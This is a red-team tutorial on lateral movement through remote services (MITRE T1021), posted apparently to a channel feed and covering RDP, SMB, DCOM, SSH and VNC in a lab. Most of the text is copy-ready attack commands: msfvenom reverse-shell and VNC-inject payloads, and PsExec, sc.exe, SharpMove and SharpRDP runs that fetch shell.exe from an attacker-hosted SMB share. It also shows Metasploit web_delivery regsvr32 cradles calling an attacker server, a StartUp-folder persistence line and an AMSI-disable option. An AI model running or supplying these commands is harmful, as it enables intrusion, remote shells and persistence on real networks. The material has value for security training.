Hacking Articles Tips Tricks Videos Tutorials

Hacking Articles
Lateral Movement: Remote Services (Mitre:T1021)

IntroductionDuring Red Team assessments, after a compromise has been done, attackers tend to laterally move through the network gaining more relevant information on other systems. This lateral movement is possible through the use of many binaries/services/processes. In this article, we will be solely focusing on Lateral Movement using Remote Services, i.e., services that can help in code/command execution on remote systems by taking invalid set of credentials. Oftentimes, the same set of credentials are used within an organization and this type of lateral movement becomes very easy and effective.

MITRE TACTIC: Lateral Movement (TA0008)

MITRE TECHNIQUE ID: T1021 (Remote Services)

SUBTITLE: Multiple Titles (T1021.001, T1021.002, T1021.003, T1021.004, T1021.005, T1021.006) Table of Content* Background
* Understanding Attack Lab
* Lateral Movement through RDP (T1021.001)
* RDP Hijacking using Task Manager
* RDP Hijacking using Tscon
* RDP Hijacking using Mimikatz
* SharpRDP Authenticated Code Execution

* Lateral Movement through SMB (T1021.002)
* PsExec SMB RCE
* exe process creation
* Metasploit SMB Remote PsExec
* exe SMB RCE
* exe SMB RCE

* Lateral Movement through DCOM (T1021.003)
* application remote DCOM

* Lateral Movement through SSH (T1021.004)
* SSH Port Forwarding

* Lateral Movement through VNC (T1021.005)
* VNCinject payload

* Lateral Movement through WinRM (T1021.006)
* New-PSSession Powershell
* Invoke-Command Powershell
* Winrs
* Evil-Winrm

* Lateral Movement through Mimikatz
* Lateral Movement through WMI
* Lateral Movement through Invoke-WmiMethod
* Conclusion BackgroundLateral movement is very helpful in gathering more data by compromising more systems rather than relying on just a single system to gain higher privileges and eventually compromise entire network.

Certain services are specifically designed to provide remote sessions and they accept connections if valid credentials are provided. In domain networks, this basic authentication is replaced with Kerberos however, a set of valid credentials can still be used across the network and on multiple devices. For example, an HR admin account can be logged on to any HR system and more data can be fetched this way by moving laterally.

The aim of this article is to demonstrate as many methods as possible by exploiting most well-known remote services including RDP, SSH etc. By the end of the article, we will talk about services like mimikatz and wmi. These services essentially use one or more combinations of remote services to provide remote sessions.

Let’s start with RDP first and gradually move on to other services. Understanding Attack LabFor the article I have two setups in hand. One is an Active Directory setup with the domain “ignite.local” and the other is simple 2 windows devices connected on bridged with a Kali system in a non-domain environment. The details are as follows:

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmbm8u2riPC9F4WQYqIjZtwxz-BPaIkwLy51CQoeR1eihOSvqgJx9l4uzmjotKUwdp-FJh7l2zCUoZMSnsOX3boXUg-KXJMXb33yYAZHRMdn_mdGnr-bfRaavrxkS-LjoHzDbsJO2zXpvjsw0BIBVZHlOOSpUwGQ07AixZ-WXEbIIY1uUIOaV9J6bhFw/s16000/0.png?w=640&ssl=1 Lateral Movement through RDP (T1021.001)According to Microsoft, RDP is based on, and is an extension of, the T-120 family of protocol standards. A multichannel capable protocol allows for separate virtual channels for carrying the following information:

* presentation data
* serial device communication
* licensing information
* highly encrypted data, such as keyboard, mouse activity

In other words, it lets a user communicate with a remote server by providing him a fully functional GUI.

RDP Hijacking using Task Manager

When you connect to a user “Administrator” and open task manager-> [...]

5 views19:56

Hacking Articles Lateral Movement: Remote Services (Mitre:T1021) IntroductionDuring Red Team assessments, after a compromise has been done, attackers tend to laterally move through the network gaining more relevant information on other systems. This lateral…

2 views19:56

Hacking Articles Tips Tricks Videos Tutorials

kQAbexMM7HMk1mkj7RPLlLacgzt8w/s16000/8.png?w=640&ssl=1

And then you’d be presented with user “hex’s” remote desktop!

SharpRDP Authenticated Command Execution

0xthirteen developed the SharpRDP tool which provides various methods and techniques for authenticated command execution using RDP as a service. This method won’t include hijacking over remote sessions, rather, using logon information to provide code execution. It does so this by utilising COM library and mstscax.dll. Read more here.

First, we will create a payload
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.89 lport=1337 -f exe > shell.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggHg_X5dOHz3Hkk3bYo_sMTyXVHhRVHlnJnmpqcdtBqODAAaVXsQHTsKH-tQ7p5h4lLx5Vxe92QE7u_9PMHqTWm3VXIDT_dZygPUeFOeGtsyk0H3BLXNOBL1be-5kR2_6TXOrNWLvcFnl-EuMRaBuBop-NzRQ4k5iFhRUxU-stybBI69zMkJ5I6JjG9Q/s16000/9.png?w=640&ssl=1

Next, we will host this file in our SMB share. We can set up a share manually or use Impacket’s smbserver to set up a temporary share with the name “sharename”
smbserver.py sharename /root
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC9bh_H1wrY8lbGBSQlWoJhmGqfSiWinQDehTPaidsqrJOkuyKFUR1qtU75SX46Cr1Y-2q8f11oDqc7FZoaD7F3gf61uT05M7542XN38NwV7aF4rNWfd7O10Kxvu73Un7a1rx70ljvnUxkrwVQBSoaNnk9dLVEMYcNFuwx2ELwjbf_3eGcihqPgx_yIQ/s16000/10.png?w=640&ssl=1

Now, using the credentials available to us of a remote user Administrator, we can use SharpRDP to execute this EXE file by providing in the UNC Path below
SharpRDP.exe computername=DESKTOP-9GSGK09 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe username=Administrator password=123
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf49V7jMLReod22fWKQ8vsDNG2Lj4TQFCqYAAFFN-JFwN3Avd3E-MRePegVtOFx84Vn4Qi5tZWAJ38d4-gQM2p9-RSFd2CdQXjaXTcEUM6y3XAUcuN66yw_AGgwllvl5PQ4svnbNO2RRhxWymZB5otyMGf52_vTJQ-LVl_QG0HQ7wmtAp5Q90CyNoRbQ/s16000/11.png?w=640&ssl=1

As you can see, the remote server hit our SMB Server and fetched the file

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6El22qXnm1_ebS4-KW9ICUw3lnFLPcoBS7Ux4Gv9sDbjExsJQJdsXlkJQ4ntoXhkIva5GWBpg_18eaD1SspmzdvlwKSfDWXSS10QIonlnKsBgL28gSafH2NfvvLDGYoAObxzccxiBqHHqtqTa0H2rsz-PiLxZiOvLnVeedBGlY2LO3WbBU3qw1v95xg/s16000/12.png?w=640&ssl=1

We have moved laterally successfully this way!

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSm7nTtCiBs1aRITp1ZuxiSBAu2N_vEATZMub83ZvVcqGQbLncJX01h5nzVv-NCr5XngIkvYjBARkfm6LRJKoJwY2xnXS1NezJaAWKr6OXbu33zSU4WZv2CHCbuyttzZb38Xjs9IHGx2fWPZfznnjIpBPLPQSkpshoKf8hEmBgRkNdmOaWlbXzxqw1nQ/s16000/13.png?w=640&ssl=1 Lateral Movement through SMB (T1021.002)SMB is one of the most widely used network protocol that allows users to communicate with remote systems across a network. Generally, it is used for sharing files, printers but by utilising writeable shares, it can be used to conduct command execution, and eventually lateral movement.

PsExec SMB RCE

Many tools like psexec utilise SMB to conduct authenticated command execution. According to Microsoft, “PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec’s most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems.” First, let’s use impacket’s smbserver to create a local SMB share that will host our malicious file. This file will eventually be written on remote systems and executed to gain movement.
smbserver.py sharename /root
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTTSqg15bXzN38wDkE-5LIjGbkGTX7uLFI1YkUY_qrKr6FT1-x6NBd3vte1rCXPf97uPje18Z6dnmV93L5iqxIWeE7PATbuuxxQ66aoDV2JJNvErk13QtV26_C_Dxm98mfJxKnb5pBK1KCXFgreu4UG3CM5vXWKmJtCfgLx1XS5S36lZZk-458Rw2Ufw/s16000/15.png?w=64[...]

2 views19:57

Hacking Articles Tips Tricks Videos Tutorials

0&ssl=1

Thereafter, we will now create a malicious file using msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1337 -f exe > shell.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoEybnTFs0zgFlm6dIHN-MiHo2NSj7RZBwIUNYPM4didelZ8JZ1avkfmBhnxSwbvoGfcsNz23oY4TWGBam5sfKQI3grbwz1KGXYHBco00T6MtmBJmFWTGT-bdZJeCah_GsT9CqXq2NMUo7XNhFfYUl5Bda02eWgdj5kye8wZ4HvLZsOrNmU9YKQR_oHQ/s16000/16.png?w=640&ssl=1

Now, we will use the compromised system and upload psexec64.exe in it. Then, we will use the following command to launch our malicious file in the host specified.
psexec64.exe \\DESKTOP-9GSGK09 -u hex -p 123 cmd.exe /c \\192.168.0.89\sharename\shell.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgakf4I9DoJkuGi_WnH76nxMfDzb9B7js8XXBgukLBIAGCjW9XtP6YfJ9zaUo3UFVghONQtUTiutfMIJOxcxJdDZjq6deQzxAQTppqqMa59uEADJVfBI6IhYDzajEYNosz--yW3EM6EnEk9OG8HrNsf9s41V1H2tSLmwWVx8FziQEpX97FutHad09_lyA/s16000/17.png?w=640&ssl=1

As you can see, hex has reached our smb share and fetched the file

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqNlGiyck0fBKUEuZE4_eltP9fj1vjtw91zF0MegOqH3yGQuPBLbvIUi0hm5OiW8ohGVjL9wUy5OYYu3L-jTUy0_gzcMkdQJx3URDpMXfaJQzZ8ZcaIPvwI6FIAvpMrKsgMtyfy9kisyOcv2jpAF94eS6C5v1Bc4wTsIdbNcMlKkh5kpV5FqsB4mbPDg/s16000/18.png?w=640&ssl=1

And hence, we have successfully received a reverse shell back!

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoynJY6etbah8L3YpMzU9KMi3k-BtYe6FaoRbHTRI6kpIv701UXPA6sVuEy5Qkxqgs6LJ0dKGP29SBYARYvWtjNgjpOmQnAUBYJLInJYrCcp3zEp_fvT_bi89r1eZ28mKLxMn7AV9VIA6NycBMuaNftHzJPu-KaT2aa9u2yiD0EtPUv2QRZ9BpIuUxgw/s16000/19.png?w=640&ssl=1

Sc.exe process creation

sc.exe is a command-line tool that comes bundled with Windows and offers the functionality to maintain and administer Windows NT services. This is a non-essential system process, however, it can be used to create processes and execute DLLs in them. Here, we will create a process “ignite” and use regsvr method to define the executing DLL within that process.

First, let’s set up our handler and generate regsvr code using Metasploit.
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwx0Fj0Scnu-7dVKa_korORxjkyG2IEyE_TpwU-j3YHyHLCmUJl0LTlTJ74E1sJLeH2GUhoddNdR0dXQ8-nG7BgPcBSWCPAvgApPqGH_auMqe1OG6DLwI1s173PD7fOfBroLML1LBgA85eUWle8TuPaKSwVc0D6uMoXYYdKdz38_e9BvjWmNFXFwUw_w/s16000/20.png?w=640&ssl=1

Now, the regsvr code that we obtained can be included within the sc.exe binpath command. The following command creates a process ignite with the above code in it. It then starts the same. Please note that “DESKTOP-9GSGKO9” is the destination windows system, where the code is to be executed.
sc \\DESKTOP-9GSGKO9 create ignite binpath= "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/nGU8JQ0b9OjF.sct scrobj.dll"
sc \\DESKTOP-9GSGKO9 start ignite
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZW8puxBbpVODwXt0z4gIJZoiGZdnJxd_3WV4ucEnvGdrRY40en5yfGXCJ2CMIKpjfKkjxbCHJMw8ouN_MtKOxexpYBVZTY5L376clTIv4ykn397y2UqqyVii2m0XVEGYPenhUDoLC1-IZbAnXezRTmNrmd8YojNgV2-EYv8_3Y4rkvV1jH9hrXZsDIw/s16000/21.png?w=640&ssl=1

As you can see, a service start failed error has been obtained but that is because the DLL we provided isn’t a valid one. It would still execute our DLL and give us a reverse shell! Here, we had the Admin authority over the writeable shares in the remote system so we received an NT AUTHORITY\SYSTEM privilege but depending on the rights you have, this may vary.

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIS6MiDjaExhEcD40sRz0d8dQqUWQ5DG2TahGNWebHxRAfA8_IBU0I3K5qnLxV84pi21sjH7ZOLoE7yD9WMXv4mO2uOf0Si1FdFxDDwbnR0OSEZhHTz6Om8Led6c7VnqQKE9hVOewTFIOiEGy2Oy3R2zLb5eLdWeKcZTptItOj8Tmny-K6d6qsxAsJAw/s16000/22.png?w=640&ssl=1

Metasploit SMB Remote [...]

1 view19:57

Hacking Articles Tips Tricks Videos Tutorials

PsExec

A Metasploit psexec module exists which can compromise a remote system if SMB is reachable on the target and the credentials provided are valid. Here, lets say we obtained SMB credentials Administrator:123, we can use these credentials across the network and compromise other systems with the same set of credentials. Here, you can see, we set the payload to be a meterpreter one and upon successful execution, we have received a web shell!
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.0.119
set SMBUSER Administrator
set SMBPASS 123
set LHOST 192.168.0.89
set LPORT 4444
exploit
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgW-al9jtzhlYyny5z_am6yf8q7NaItKgIdCi6JY8N1TqT_eIgXSnH0JS5rYXcB5kh-Vx4_ELMjBNhnXhUoHflv6K-HUML1A9W3WR_qRAzH9m9nZH3lS8bJG02dKuZgNV_BM5Tqai8Ivap2FkGUky6RCl1qcJ7UmuWh2mF3ALAL1jxbPgdUN8AItWQsg/s16000/23.png?w=640&ssl=1

Cmd.exe SMB RCE

Cmd.exe in Windows is also capable of executing commands on a remote system if the user has write access on critical shares like C$, ADMIN$ etc, cmd.exe can copy a file to locations like C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp and gain persistence in conjunction with lateral movement.

However, in this example, we will just run a simple regsvr command and write its output to a file called ignite in ADMIN$ share demonstrating the write capability of the command.
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7KKQ2AwR6bn3Ka5EDCN78bvPtmu79BL_RX0dbdmLbiwJKyO-aLlAE7ULwqUXeDA1hpVHbSWl423gq4OKOG31a6D_uG-DreCX-pHCQz7LaDjCALIIkYA0W6y3F0rllqB9b-hm_wv0doRHz1F3cXCcZBYy3vYDS7NQhACVD4MpmH8v4u7t9ijylu9E5mg/s16000/24.png?w=640&ssl=1

Now we run this using cmd.exe
cmd.exe /Q /c "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/jqVdIASVxjl4T.sct scrobj.dll" 1> \\127.0.0.1\ADMIN$\ignite 2>&1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5O2F4vuRHjOSR0ZkvCLsSXgNMfuhS_B2TiNFu6d3pQP3GAGBEQNq7okoaufJtlR0tzJNB2GMv5HziScc9KDI8QfjoVj_aNz8lpQejE66U38GfZRCaZu66a_dLzQyx9I-_qpC4uBIWaAuj0bvCCe9eb-iD2JxyJrL3YEK0rmlHL3aMSH_LUM7f6Z4IJw/s16000/25.png?w=640&ssl=1

This gives us a reverse shell!

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7cFC3rNDJ6o0VBGb05xJ0QARo9DblCZoLYctgLGxcCdpr-Y_bCsR0lh2BfdExU5AmZh1ixmF-EChoCKDBo8JKpmAf1thZKbStuqapaivm2lmGpQ2cp5yQAwd6fCa9HKLV8E-fwoBoFMCep-BvEDJpMfMY7FDiS8hYo2h0-hZfauMxbKKuLhniukiKkw/s16000/26.png?w=640&ssl=1

As you can see, the output file has been created in the remote share we specified. Though there was no output so the file is empty, but it got created.

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOyX9QEy0-KvU0hXBdbHPHHdV698Uh_rTzZ_7mwUWYIcFFgHCLEAIEMfumwOvIVUqXEfRmCLIhSKC2pEguO_9AP_j64Jz-mC3oXQycui6hhc6UEYj2y50xW4snS4ua_ZV8OyuOXD_Ca0o5jCC6liPx2dR4dhdatUT5XJU353-LYgsEhEyb9wqxYnrjcA/s16000/27.png?w=640&ssl=1

Another example of this could be to write a bat file in a remote share of victim 192.168.0.120 which would save our payload execution command in StartUp and this will be executed next time system restarts.
cmd.exe /Q /c "echo ‘cmd.exe /c \\192.168.0.89\sharename\shell.exe’" 1> \\192.168.0.120\C$\ ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ignite.bat 2>&1
SharpMove.exe SMB RCE

0xthirteen has developed a C# script called SharpMove which utilizes many different remote services to conduct code execution. It can use an SMB share on a remote system to execute code. It can also try and disable AMSI as an added bonus. In this example, we will modify an existing service by entering our own code in it. We just created a service called “ignite” while demonstrating sc.exe, let’s modify that service. Execution on system with hostname “DESKTOP-9GSGK09” can be achieved like so:
SharpMove.exe action=modsvc compute[...]

2 views19:57

Hacking Articles Tips Tricks Videos Tutorials

rname=DESKTOP-9GSGKO9 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe" amsi=true servicename=ignite username=Administrator password=123
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOFahaY2LV5GEEuhkq-jIDryXxPO9Et5Bz3rqn9U-dosD6ioxt_62p0zH_qDAVH_4CyG3dMOharCm1EqhbQCM3Q9e9JLLnf3-roOxyih-yY9cv0996bAM2BIFTFM_dGtcof1KL0VCxI6ltJA1WLOTFj6QkaxiAyMbCTc0rEy_jFD69ilkvUbShH8G_9w/s16000/28.png?w=640&ssl=1

As you can see, SharpMove.exe has updated the service binpath and a reverse shell has been achieved successfully.

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhV1lOwkvUcb6Y2TpWHEJN0XUXceQVwjuPmyn6RVJfadVK6dfvlQeeRsc_jGZFYt0Pqy91yMCJSrDKCButSzf8SRQ5hsyeSZN01OjgkqdUAy1ssraDmgVnEYRSKl94sWLqHYhFz_GXqJMA3zsr_wrjDi1ggiHfdgzyAXnJ0iRVu3LjEZ30V8-aFY9fIfg/s16000/29.png?w=640&ssl=1 Lateral Movement through DCOM (T1021.003)According to Microsoft, “The Microsoft Component Object Model (COM) is a platform-independent, distributed, object-oriented system for creating binary software components that can interact. COM is the foundation technology for Microsoft’s OLE (compound documents), ActiveX (Internet-enabled components), as well as others.

It is not a programming language but a standard that is only applicable to code that has been compiled to binary. Programming languages like C++ provide simple mechanisms to play with COM objects. C, Java implement COM too.”

A COM object is one in which access to an object’s data is achieved exclusively through one or more sets of related functions. These function sets are called interfaces, and the functions of an interface are called methods. Further, COM requires that the only way to gain access to the methods of an interface is through a pointer to the interface. In other words, COM enables a binary to interact with other software objects or executables by implementing objects which can call DLLs and EXEs. DCOM (Distributed COM) is middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.

By default, only Administrators may remotely activate and launch COM objects through DCOM

DCOM can execute macros in Office documents and also interact with WMI remotely thus opening the attacked domain to a wide array of vectors.

Please note that this attack works on a domain-joined system. DCOM remoting is not available across networks by default. To enable DCOM remoting, some magical code is required which is not in the scope of this article. (Though, I have done it and am using the non-domain joined system to do so)

Mmc20.application remote DCOM

You use Microsoft Management Console (MMC) to create, save and open administrative tools, called consoles, which manage the hardware, software, and network components of your Microsoft Windows operating system. MMC runs on all client operating systems that are currently supported. Here, Enigma0x3’s method (ref here) is being used.

First, let’s see mmc20.application’s registry entry using powershell. The ProgID is required to create its an instance in a remote system. Next, we will create a new instance of this program mmc20 on our target system (192.168.0.119) using Powershell.
Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.0.119"))
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyr4OBio6cybxkORq2f3hpe9OLHACLWkUIgMLTCEV3WPxirLfXhx9YOJBSOHAU2Oz-x_hDUBVxu7mPo3nWHigwEJR4mHvsL7kL74p58u2t0K4Upq4kudssOObSH78F-fThIzZy4Pxpl6pdNOLrN63uZS-NZJh6IpNQHfU3FxICTq35Ax7aVmck5HvqPg/s16000/30.png?w=640&ssl=1

We created an object called $dcom that spawns different functions mmc can perform. One such is ExecuteShellCommand

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyJLPQTzXLdP8o5FHxWngEqCVHlQ0NuIgVBPOMUpY2f_htXicpQdhmLfIR6dTFLuZ4cZk8OqoMkLIM4wsmUF-L_jipd-efexJFJ7WjT5twJxrluPEHcmaVa21n5BzC[...]

4 views19:57

Hacking Articles Tips Tricks Videos Tutorials

px4QjG8vhUwwqrrUSTA9TOA8UN0Tg7Ydqbk-_mc7kF0hqFX_VQgZzvy3lrUzpA/s16000/31.png?w=640&ssl=1

We will use this function to execute a command on this remote DCOM object so created.
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c \\192.168.0.89\sharename\shell.exe > output.txt","7")
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOejm75xWAXKD9_28901Sqhwy6n_mvJwGnSYEsnxhpNPMEqvovhkc1qDrjMD9gXgDFYugoHtH5GXohAkg9vIIcU1TjCF0aMLk5dmjGXpVeccZWNlNRn3xVlGjU7cyjiEOm-zdKj_7N-PmTAYMY85MwcAGwG4rWbFS43xUrIdatYLyR_n0yT3mN87U7fg/s16000/32.png?w=640&ssl=1

Upon successful execution, we see a hit on our SMB server, the executable is fetched and executed

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGlZOtrE10xdM0vnF-iB9srddV1_BlDB3J4OCVu98yY0NTr4TJ2rAvHwgprh9K_EMlIodzLQKQNokJuk04D0vWy_45DuHvzsD3zjBX1W8OlsHq8MgxZ7EBwpoLlBtWp8wiJLR5uKgHaBeRNkpmoplheQIWg1pa1Pw0CMzMBb2fntnZpOz7BBktwWA51w/s16000/33.png?w=640&ssl=1

This gives us a nice reverse shell and lateral movement has, therefore, been achieved!

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5Ev-BZ29In-IxKwSDyeSmO2Igv3fdzCvQA2G5GaL1wrnfEa_mNltLv43ADESEUrxIj9przKq8dQUpb8gC2m8dhlLQpsvPQKRv8HjXLzK8dI-4hi0HcLFc4PwZWXzVso9xyAlVGdt6EPmq-Onem3SFHfQR-uGz6OVJL6V6unO9W2CZqT5tO1wvjkjGCg/s16000/34.png?w=640&ssl=1 Lateral Movement through SSH (T1021.004)SSH is the most widely used cross-platform protocol that lets a user connect to remote sessions and allows file copy as well. Often there are different subnetworks being used in corporate environments which may not be reachable to an attacker directly due to firewall restrictions or due to a different network interface. In such scenarios, moving laterally through SSH can open a variety of options for an attacker. Let’s see some methods.

SSH Port Forwarding

For comprehensive use-cases and a guide to port forwarding, I highly recommend reading this article. We take a simple scenario here. Our destination server has the following IP address and username

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBaEboKjdEwYR8iG6fbkaBud8KQSxnPMnTir_kU7MwhJukLXZAeZRLi1fDV9qD88_5pqpQq6ZGVPKucew9KYFeRa_bpT1b62nKpP-4bEAjjV1lUkYWVlS5l3Tl_-A13HK760Bc0v-9jv6e0TrUNLMKoD02Rje3x6cPuI3JQbfXhG9IN0D1Nj0nO2r_0Q/s16000/35.png?w=640&ssl=1

Now, we have compromised a system with username “hex” successfully that has 2 network cards. One on the same network as our attacker machine and one on our destination server’s network.

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje54uwCHRVTI7iLLMYxFP-wbqjAhiAEDhiZTbJqSJq6Gl8CIh9P_QplK9OMhIfP03YpRsqw_Oqj7HtbkeOxG7fq8VaaUM1d2_t8XxRfaSrHAHUBp648XoDmrhyoQasI34wtEEJJWx5Qd28qGWbgPTXMAMONZ-3nBQZNSlFu67J26Nm7FOlXHbf-ZEzMw/s16000/36.png?w=640&ssl=1

And as you can see, our attacker machine has a different subnet than our destination and our ping isn’t reaching, so it isn’t directly accessible.

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqQIkG2KoJKeTMYpKKt9c69zL0YhoVu613xXAs8vLZgXsOROSN4aQHedWNlO1zYnAk4t26YAQiDQCvYBLCTJRu_sn0KidGgoMwLUhPZ1pc2aR8sSQwN_VLPrteYCfF7yPv7Xurb5oSRiN4PYCtPBGmrnKyBsNFDnKkGcXlQ-SbI9jCRx8XSai_FObkNQ/s16000/37.png?w=640&ssl=1

To set up a local port forward, which allows us to redirect any incoming traffic at a specific port to the destination server, we follow the following schema:

ssh -L LOCAL_PORT:DEST_IP:DEST_PORT COMPROMISED_USERNAME@COMPROMISED_SERVER

Thereafter, we have to specify hex’s password.
ssh -L 7000:192.168.179.130:22 hex@192.168.0.119
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIDi4Tnt7_L50KdiTgl4leErFDyJnrT5hUsLdKjRVoXGgHkgWxMm2kZtSNue6iwS2QgknlOaA3jLd2DeHnw-g1gHY5UHInAiGMgxzpzEIkVLPN901TNVTS1Cnz7GKSJpUOfKzdYUIYBpCdGR8jLbbrdFU-DiNMtcv5DXMGAyhB1ZzjZV2oTRnG9DB5Ww/s16000/38.png?w=640&ssl=1

Upon successful setup, we would now be able to connect to the destination server! First, make sure there are no pre-existing localhost entries in the known[...]

2 views19:57

Hacking Articles Tips Tricks Videos Tutorials

_hosts file (by using ssh-keygen -R)
ssh-keygen -R 127.0.0.1
ssh server@127.0.0.1 -p 7000
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPqqzyrQ7EW3Tey1zuCkLJpqD7LRjn7fwvS85HgwXw96ZKHAZ0eJp7dqk1hHXkKq-e7CiBc6BjZrH2dkNoLD89xSE34YxkhUclbVZV-bF9HwPkgPbEnoCz8WcAh8GTwtyxstBeLH5P6mFT9kh3Vb1j1Q4vhQRg6VJx0AjxlflUm0PY1EPusDENswbAGw/s16000/39.png?w=640&ssl=1

As you can see, we have successfully connected to our destination! Lateral Movement through VNC (T1021.005)VNC or Virtual Network Computing is a service that uses the Remote Frame Buffer protocol to enable graphical remote access of another system. It is an interactive session since the user can give the mouse and keyboard inputs through VNC to the original system. Defining like that seems so similar to the Remote Desktop Protocol that we discussed some while back but there is a prominent difference between the two. The VNC is platform-independent which means it can work with Linux and Windows whereas the RDP can only work between two Windows Machines.

According to MITRE, “Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network.”

Let’s see one such method.

VNCinject payload

Vncinject is a payload available to be used with msfvenom, it installs a reflective vnc DLL on the attacker system and connects back to the attacker system. It may be noted that for further lateral movement using this, it can be kept in a share, and a remote execution method like psexec may be used.

Let’s create a payload first and host it in our web server to be downloaded and executed at the system
msfvenom -p windows/x64/vncinject/reverse_tcp lhost=192.168.1.4 lport=4532 -f exe > vnc.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbSpaqy_DkBBOgFXxHdEco11qYQZBC7x9FLtw3zE1OG3mY_eCfI7w391YqX9Enen-N7r6QTKqqm3c8cAMdgo5iAWG1YQ57NfHy4EYdAZdCA8P417xbq9JnJDdE96rOppnpcZoPbIj0B2V6a7Y4l4L_3q6uV68BCFgM82EqXbQaCUsDfCGe76UWVjznWg/s16000/40.png?w=640&ssl=1

Now, we make our victim execute this payload. This could be done by sending in phishing links etc. For simplicity, we are just using powershell wget to download and execute (simulation)
powershell wget 192.168.1.4/vnc.exe -O vnc.exe
vnc.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJ7B0oQM0rjsunqhLq-sGqUuK2bxfVLgu_Px9W13myXXrRF1LsvUeaDdwPj-KrsS8ojb2V_4o2PL8sCwz0frZR18GQXpQ3SiNuScGx7Are-pBJvI4DHruiX4jZxiPFLI8LODDSv8uPKGjOrOSWCENMUhKxtFIJLGd02w22HsNFX987v68J-e3WQCTPGw/s16000/41.png?w=640&ssl=1

Now we set up multi/handler and wait for a callback. Upon successful execution, we receive a callback in our console.
use multi/handler
set payload windows/x64/vncinject/reverse_tcp
set lhost 192.168.1.4
set lport 4532
run
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQv2uRcUTUv-0kFWx7OgeZOWzmh1GRRFA21r4hp1yJhcVHk9rFlIdZHlKFkzTXhxl6tiw5CXDhToSkKqdpeypaFUHyPTotfsCKtz2JwU9pbzckOWh_gTCDypyLY7nPTAEUVMHec_J2uXIxK30xd4WFKvI7syxSazK8SecPUR1D_mTzYnAKP7UwU9VHJQ/s16000/42.png?w=640&ssl=1
After a short while, we will receive a full-fledged VNC session and lateral movement has now been achieved!

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgObqBPx-BlBLlE1kKJXk3kmvGU2Dv6ZfjVllsCsDtGnWSKMR87NyB51_2Q4Qc1AwugMa2VoWxGeMf4jQ24VmThFTDsANGIJv8ATPISjXwXP_EbfzIQJkbGUIFZ148z5FkUH5ZS08x4ZTUr7hoG0l6X8HQMm8dK1hv0dxHAxO7V820Ipj58NnFShmsKJw/s16000/43.png?w=640&ssl=1

